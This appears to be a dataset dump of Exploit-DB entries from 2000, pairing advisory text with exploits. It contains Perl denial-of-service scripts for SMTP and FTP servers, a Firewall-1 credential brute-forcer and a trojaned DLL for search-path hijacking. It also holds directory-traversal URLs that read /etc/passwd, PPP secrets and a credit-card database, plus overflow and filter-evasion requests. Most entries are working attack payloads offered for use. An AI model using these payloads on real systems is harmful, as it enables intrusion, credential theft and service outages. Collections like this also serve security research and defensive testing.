QLWD/code_shield huggingface dataset:
标题: SuSE Linux 6.3/6.4 - Installed Package Disclosure EDB-ID: 20236 CVE: 2000-1016 类型: REMOTE 平台: LINUX 发布日期: 2000-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1707/info

By submitting a specific url to the web server ("http://hosts.any/doc/packages/") , any user from any host may obtain a list of packages installed on a S.u.S.E 6.3 or 6.4 system. This problem is due to a configuration in the Apache httpd.conf supplied with S.u.S.E that permits anyone to request documents from this webroot subdirectory. The end result is that attackers will know what packages the victim has installed, which can assist in executing more complicated attacks.

Request "http://target/doc/packages/" with a web browser. URL: https://www.exploit-db.com/exploits/20236
标题: HP OpenView Network Node Manager 6.10 - SNMP Denial of Service EDB-ID: 20239 CVE: 2000-1058 类型: DOS 平台: MULTIPLE 发布日期: 2000-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/1713/info

The OverView5 CGI interface by default is shipped with HP Openview Node Manager.

HP Openview Node Manager can be compromised due to an unchecked buffer. By sending a specially crafted GET request comprised of 136 bytes to the web services (default port 80) through the Overview5 CGI interface, the SNMP service will crash.

Successful exploitation, depending on the data entered, will allow the execution of arbitrary code.

http://target/OvCgi/OpenView5.exe?Context=Snmp&Action=Snmp&Host=&Oid=<string of characters consisting of 136 bytes> URL: https://www.exploit-db.com/exploits/20239
标题: extent technologies rbs isp 2.5 - Directory Traversal EDB-ID: 20234 CVE: 2000-1036 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1704/info

A remote user is capable of gaining read access to any file residing in the same directory of a host running Extent RBS ISP through directory traversal. Appending '../' to the 'image' variable request on port 8002 will enable a user to read any available file includeing credit card details, username, password etc.

For example:

http://target:8002/Newuser?Image=../../database/rbsserv.mdb URL: https://www.exploit-db.com/exploits/20234
标题: NetcPlus BrowseGate 2.80 - Denial of Service EDB-ID: 20233 CVE: 2000-0908 类型: DOS 平台: WINDOWS 发布日期: 2000-09-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1702/info

NetcPlus BrowseGate 2.80 will crash as the result of an invalid read error if a number of character strings consisting of 8 KB are inserted into GET request arguments through port 80.

For example:

GET / HTTP/1.0<cr>
Authorization: Basic(8 KB string of characters)<cr>
From: email@address.com<cr>
If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT<cr>
Referer: http://referrer/(8 KB string of characters)<cr>
UserAgent: Browser 1.1<cr>
<cr><cr>

will cause brwgate.exe to fail and a restart of the service is required in order to gain normal functionality. URL: https://www.exploit-db.com/exploits/20233
标题: CamShot WebCam 2.6 Trial - Remote Buffer Overflow EDB-ID: 20224 CVE: 2000-0836 类型: REMOTE 平台: WINDOWS 发布日期: 2000-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/1685/info

CamShot is a Windows 95/98/2000/NT web server that serves up web pages containing time stamped images captured from a video camera. The images can be viewed from anywhere on the network with a web browser. CamShot works with Video For Windows compatible video equipment. Certain trial versions of this software contain a possibly exploitable remote buffer overflow by way of a overly long user supplied 'Authorization' password. 

It is not known if supported commercial versions of this software contain the same vulnerability.

Example:

GET / HTTP/1.1<enter>
Authorization: Basic ['a'x325]<enter><enter> URL: https://www.exploit-db.com/exploits/20224
标题: Mandrake 6.1/7.0/7.1 - '/perl' HTTP Directory Disclosure EDB-ID: 20220 CVE: 2000-0883 类型: REMOTE 平台: LINUX 发布日期: 2000-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/1678/info

The default configuration files for versions of mod_perl shipped with Mandrake Linux 6.1 through 7.1 contain a misconfiguration that can be a security concern in some situations. The /perl directory is part of the webserver's root tree (the subdirectory tree from which files are accessable on the webserver..) that is used to store perl scripts. In the configuration file for mod_perl, the apache perl interpreter module, the directory is permitted to be "indexed".. meaning that the webserver will display the contents of the directory if it is requested by itself. The result is that an attacker can see what files are in /perl. While this bug does not affect how the webserver interprets the files in that directory (eg., it will still execute them), knowing what is there to be executed can allow for more targeted and intelligent attacks against scripts known to be vulnerable listed there.

Point your web browser to http://target/perl. URL: https://www.exploit-db.com/exploits/20220
标题: Microsoft Windows NT 4.0/2000 - DLL Search Path EDB-ID: 20232 CVE: 2000-0854 类型: LOCAL 平台: WINDOWS 发布日期: 2000-09-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/1699/info

When a program executes under Microsoft Windows, it may require additional code stored in DLL library files. These files are dynamically located at run time, and loaded if necessary. A weakness exists in the algorithm used to locate these files.

The search algorithm used to locate DLL files specifies that the current working directory is checked before the System folders. If a trojaned DLL can be inserted into the system in an arbitrary location, and a predictable executable called with the same current working directory, the trojaned DLL may be loaded and executed. This may occur when a data file is accessed through the 'Run' function, or double clicked in Windows Explorer.

This has been reported to occur with the 'riched20.dll' and 'msi.dll' DLL files and some Microsoft Office applications, including WordPad.

This behavior has also been reported for files loaded from UNC shares, or directly from FTP servers. 

// dll1.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include "stdlib.h"

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
      )
{
   switch( ul_reason_for_call ) 
    { 
        case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
   MessageBox(NULL, "Hello world!", "Info", MB_OK);
   MessageBox(NULL, "Shall try to start: C:\\TEST.EXE\n You may need to create it.", "Info", MB_OK);
   system("C:\\TEST.EXE");
            break;

        case DLL_THREAD_ATTACH:
        // Do thread-specific initialization.
  // MessageBox(NULL, "DllMain.dll: DLL_THREAD_ATTACH", "Info", MB_OK);
            break;

        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;

        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }

    return TRUE;
}

1) Rename dll1.dll to riched20.dll
2) Place riched20.dll in a directory of your choice
3) Close all Office applications
4) From Windows Explorer double click on an Office document (preferably MS Word document) in the directory containg riched20.dll URL: https://www.exploit-db.com/exploits/20232
标题: Cisco PIX Firewall 4.x/5.x - SMTP Content Filtering Evasion EDB-ID: 20231 CVE: 2000-1022 类型: REMOTE 平台: HARDWARE 发布日期: 2000-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/1698/info

Like other firewalls, the Cisco PIX Firewall implements technology that reads the contents of packets passing through it for application-level filtering. In the case of SMTP, it can be configured so only certain smtp commands can be allowed through (for example, dropping extra functionality, such as HELP or commands that could be a security concern, like EXPN or VRFY). When recieving messages, it allows all text through between "data" and "<CR><LF><CR><LF>.<CR><LF>", as this is where the body of the message would normally go and there could be words in it that are smtp commands which shouldn't be filtered. Due to the nature of SMTP and flaws in exceptional condition handling of PIX, it is reportedly possible to evade the smtp command restrictions by tricking the firewall into thinking the body of the message is being sent when it isn't.

During communication with an smtp server, if the "data" command is sent before the more important information is sent, such as "rcpt to", the smtp server will return error 503, saying that rcpt was required. The firewall, however, thinks everything is alright and will let everything through until recieving "<CR><LF><CR><LF>.<CR><LF>". It is then possible for the attacker to do whatever he wishes on the email server. 

Here an example of what i could do exploiting this bug:
helo ciao
mail from: pinco@pallino.it
data ( From here pix disable fixup)
expn guest ( Now i could enumerate user
vrfy oracle and have access to all command)
help
whatever command i want
quit URL: https://www.exploit-db.com/exploits/20231
标题: Jack De Winter WinSMTP 1.6 f/2.0 - Buffer Overflow EDB-ID: 20221 CVE: 2000-0833 类型: DOS 平台: WINDOWS 发布日期: 2000-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/1680/info

A number of unchecked buffers exist in the SMTP and POP3 components of Jack De Winter's WinSMTP mail daemon which could lead to denial of service attacks or arbitrary code execution, depending on the data entered.

Sending a HELO command consisting of approximately 170 bytes or a USER command consisting of approximately 370 bytes will result in a Windows general protection fault error.

#!/usr/bin/perl
#
# ./$0.pl -s <server>
# sends data to stmpd, overflowing server buffer.
#
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
$serv = $args{s};
$foo = "A"; $number = 170; 
$data .= $foo x $number; $EOL="\015\012";
$remote = IO::Socket::INET->new(
      Proto => "tcp",
      PeerAddr => $args{s},
      PeerPort => "smtp(25)",
  ) || die("Unable to connect to smtp port at $args{s}\n");
$remote->autoflush(1);
print $remote "HELO $data". $EOL;
while (<$remote>){ print }

print("\nCrash was successful !\n");

sub usage {die("\n$0 -s <server>\n\n");} URL: https://www.exploit-db.com/exploits/20221
标题: TYPSoft FTP Server 0.7.x - FTP Server Remote Denial of Service EDB-ID: 20228 CVE: 2000-1035 类型: DOS 平台: WINDOWS 发布日期: 1999-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/1690/info

Long commands (ie., over 2048 bytes) sent to TYPSoft FTP Server cab cause the server to hang, requiring a manual restart to restore the process.

After the release of this advisory Noam Rathaus from http://www.BeyondSecurity.com contributed the following addendum:

.. "this product is also vulnerable if you connect to the server, but not send anything (do the SYN/ACK sequence but disconnect immediately). This is due to the fact that they use a DELPHI TSocket class, which doesn't handle exceptions very well. " 

#!/usr/bin/perl
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
$serv = $args{s};
$foo = "A"; $number = 2048;
$data .= $foo x $number; $EOL="\015\012";
$remote = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $args{s},
PeerPort => "ftp(21)",
) || die("Unable to connect to ftp port at $args{s}\n");
$remote->autoflush(1);
print $remote "USER $data". $EOL;
while (<$remote>){ print }
print("\nCrash was successful !\n");

sub usage {die("\n$0 -s <server>\n\n");} URL: https://www.exploit-db.com/exploits/20228
标题: IBM Websphere Application Server 3.0.2 Server Plugin - Denial of Service EDB-ID: 20229 CVE: 2000-0848 类型: DOS 平台: MULTIPLE 发布日期: 2000-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/1691/info

Large amounts of data (ie 1092+ characters) in the Host: request header may cause the web server process to fault on signal 11 (SIGSEGV) or signal 10 (SIGBUS). 

GET /servletsnoop HTTP/1.0
Host: xxxxxxxxxxxxxxxxxxxxxxxx(1092+ characters)

resulted in the following IBMHTTPD log entry:

[Fri May 26 12:00:54 2000] [notice] child pid 11306 exit signal Segmentation
Fault (11) URL: https://www.exploit-db.com/exploits/20229
标题: Sambar Server 4.3/4.4 Beta 3 - Search CGI EDB-ID: 20223 CVE: 2000-0835 类型: REMOTE 平台: WINDOWS 发布日期: 2000-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/1684/info

The Sambar Server was created to test a three-tier communication infrastructure modeled after the Sybase Open Client/Open Server. Soon thereafter, the idea of leveraging the infrastructure for dynamic delivery of content on the WWW resulted in the addition of an HTTP protocol stack, and efforts in supporting the notion of preexistent users via HTTP. 

Certain NT versions of this software ship with a vulnerability in the search.dll which allows remote attackers to view the contents of the SAMBAR Server such as mail folders etc by passing paths or invalid values in the 'query' variable.

All that is needed is a malformed query parameter parsed to the search.dll file
.

http://server-running-sambar.com/search.dll?search?query=%00&logic=AND

.. this will reveal the current working directory contents.


http://server-running-sambar.com/search.dll?search?query=/&logic=AND

.. this will reveal the root dir of the server. URL: https://www.exploit-db.com/exploits/20223
标题: WebTV for Windows 98/ME - Denial of Service EDB-ID: 20219 CVE: 2000-0830 类型: DOS 平台: WINDOWS 发布日期: 2000-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/1671/info

If a remote user sends a UDP packet to any port in the 22701 - 22705 range to a system running WebTV for Windows, the system may crash entirely or at the least the program will stop responding. 

As well, sending a UDP packet to port 22703 specifically has been known to cause automatic reboots.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20219.tar.gz URL: https://www.exploit-db.com/exploits/20219
标题: YaBB 9.1.2000 - Arbitrary File Read EDB-ID: 20218 CVE: 2000-0853 类型: REMOTE 平台: CGI 发布日期: 2000-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/1668/info

YaBB.pl, a web-based bulletin board script, stores board postings in numbered text files. The numbered file name is specified in the call to YaBB.pl in the variable num=<file>. Before retrieving the file, YaBB will append a .txt extension to <file>.

Due to input validation problems in YaBB, relative paths can be specified in <file>. This includes ../ style paths.

Additionally, <file> does not need to be numerical, and the .txt extension can be avoided by appending %00 to <file>.

By exploiting these problems in a single request, a malicious user can view any file that the webserver has access to.

http://www.my_target.com/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/20218
标题: Check Point Software Firewall-1 3.0/1 4.0/1 4.1 - Session Agent Dictionary Attack (1) EDB-ID: 20215 CVE: 2000-1037 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/1662/info

A vulnerability exists in all versions of the Check Point Session Agent, part of Firewall-1. Session Agent works in such a way that the firewall will establish a connection back to the client machine. Upon doing so, it will prompt for a username, and if the username exists, a password. Upon failure, it will reprompt indefinitely. This allows for a simple brute force attack against the username and password.

#!/usr/bin/perl -w
#
# File  :       brute-fw1-agent.pl
# Author:       Nelson Brito<nelson@secunet.com.br || nelson@sekure.org>
#
# Untested code, use on your own risc.
#
use Socket;

$c = 0; $port = 261; #$proto = getprotobyname('tcp');

socket(FAGENT, PF_INET, SOCK_STREAM, getprotobyname("tcp"))     or die
"socket:$!";
setsockopt(FAGENT, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))      or die
"setsockopt: $!";
bind(FAGENT, sockaddr_in($port, INADDR_ANY))                    or die
"bind: $!";
listen(FAGENT, SOMAXCONN)                                       or die
"listen: $!";

open(SDI, "users") or die "open: $!\n";
until(eof(SDI)){
        $user = <SDI>; chomp($user);
        next if ($user=~/^\s*#/);
        next if ($user=~/^\s*$/);
        push @users, $user;
}
close(SDI);

while(accept(MODULE, FAGENT)){
LINE:   $c++;
        print STDOUT "[+] Hii... I'm on TV $c times!\n";
        recv(MODULE, $target, 1024, 0);
        if($target=~/^331/i){
                chomp($users[0]);
                send(MODULE, "$users[0]\n", 0);
                recv(MODULE, $target, 1024, 0);
                if($target=~/^220/){
                        recv(MODULE, $target, 1024, 0);
                        if($target=~/^530/){
                                shift @users; goto LINE;
                        }else{
                                die "[-] Unknow code. What happened?\n";
                        }
                }elsif($target=~/^331/){
                        print STDOUT "[+] The $users[0] username is right!\n";
                }else{
                        die "[-] Uknow return code. What happened?\n";
                }
        }else{
                die "[-] Unknow return code. What happened?\n";
        }

} URL: https://www.exploit-db.com/exploits/20215
标题: AIX 4.2/4.3 - netstat -Z Statistic Clearing EDB-ID: 20213 CVE: 2000-0873 类型: LOCAL 平台: AIX 发布日期: 2000-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/1660/info

A vulnerability exists in versions 4.x. x of AIX, from IBM. Any local user can utilize the -Z command to netstat, without needing to be root. This will cause interface statistics to be reset. This could potentially interfere with programs that track statistical information.

$ netstat -in --> shows stats
$ netstat -Zi --> clears them without checking the uid URL: https://www.exploit-db.com/exploits/20213
标题: Apache 1.3.12 - WebDAV Directory Listings EDB-ID: 20210 CVE: 2000-0869 类型: REMOTE 平台: LINUX 发布日期: 2000-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/1656/info

WebDAV (Web Distributed Authoring and Versioning) is an extension of HTTP which allows users to create, edit and share documents using the HTTP protocol. A particular REQUEST METHOD, PROPFIND, allows users to retrieve resource properties such as displayname, date last modified, and others. Apache web server as installed by SuSE 6.4 has WebDAV enabled for the entire file structure of the server. By making a specific, properly structured request to the Apache web server, it is possible to obtain information which is equivalent to a directory listing.

suse~: # telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
PROPFIND / HTTP/1.1
Host: suse
Content-Type: text/xml
Content-Length: 110

<?xml version="1.0"?>
<a:propfind xmlns:a="DAV:">
<a:prop>
<a:displayname/>
</a:prop>
</a:propfind>

HTTP/1.1 207 Multi-Status
Date: Sun, 20 Aug 2000 17:38:58 GMT
Server: Apache/1.3.12 (Unix) (SuSE/Linux) mod_fastcgi/2.2.2 DAV/0.9.14
mod_perl/1.21 PHP/3.0.15
Transfer-Encoding: chunked
Content-Type: text/xml; charset="utf-8"

dc1
<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response>
<D:href>/secret/secret/sql_tool.shtml</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/change-passwd.shtml</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/add-user.shmtl</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/webalizer/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/test.php3</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/date.php3</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/linbot/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/robots.txt</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/index.html</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/gif/u_arrow.gif</D:href>
<D:propstat>
<D:prop>
</D:prop>
..
- ---cut----- URL: https://www.exploit-db.com/exploits/20210
标题: QSSL Voyager 2.0 1B - Arbitrary File Access EDB-ID: 20206 CVE: 2000-0903 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/1648/info

The web server supplied with the QNX Voyager demo disk contains several vulnerabilities.

First, Voyager will follow relative paths passed to it in requests. This includes ../ style paths, which will allow Voyager to serve pages outside of the "document root".
Another vulnerability is that the web server does not have sufficient security restrictions - this means that the web server can access any file, including protected files and special /dev entries.

As well, due to the integration of the web browser and web server, information used by the Photon GUI is easily exposed by requesting files under /.photon/. Additionally, html files generated by the web browser (error messages, for example) and the QNX configuration interface share the same directory as published html files.

While the Voyager web server is not intended to be used in a production environment, and is in fact intended only to be a demo of the QNX OS, users should be aware of these design errors.

DoS the web server:
http://target/../../dev/dns

Recent PPP passwords (modem build of Voyager):
http://target/../../etc/ppp/chap-secrets
http://target/../../etc/ppp/pap-secrets URL: https://www.exploit-db.com/exploits/20206
标题: nathan purciful phpphotoalbum 0.9.9 - Directory Traversal EDB-ID: 20208 CVE: 2000-0872 类型: WEBAPPS 平台: PHP 发布日期: 2000-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/1650/info

The explorer.php script within phpPhotoAlbum 0.9.9 and possibly previous versions are vulnerable to directory traversal. By requesting a URL composed of explorer.php and the ../ string in the value of the "folder" variable it is possible for a remote user to and gain read access to any file or browse any directory for which the webserver has read access.

Example: 
http://target/phpPhotoAlbum/explorer.php?folder=../../../../ URL: https://www.exploit-db.com/exploits/20208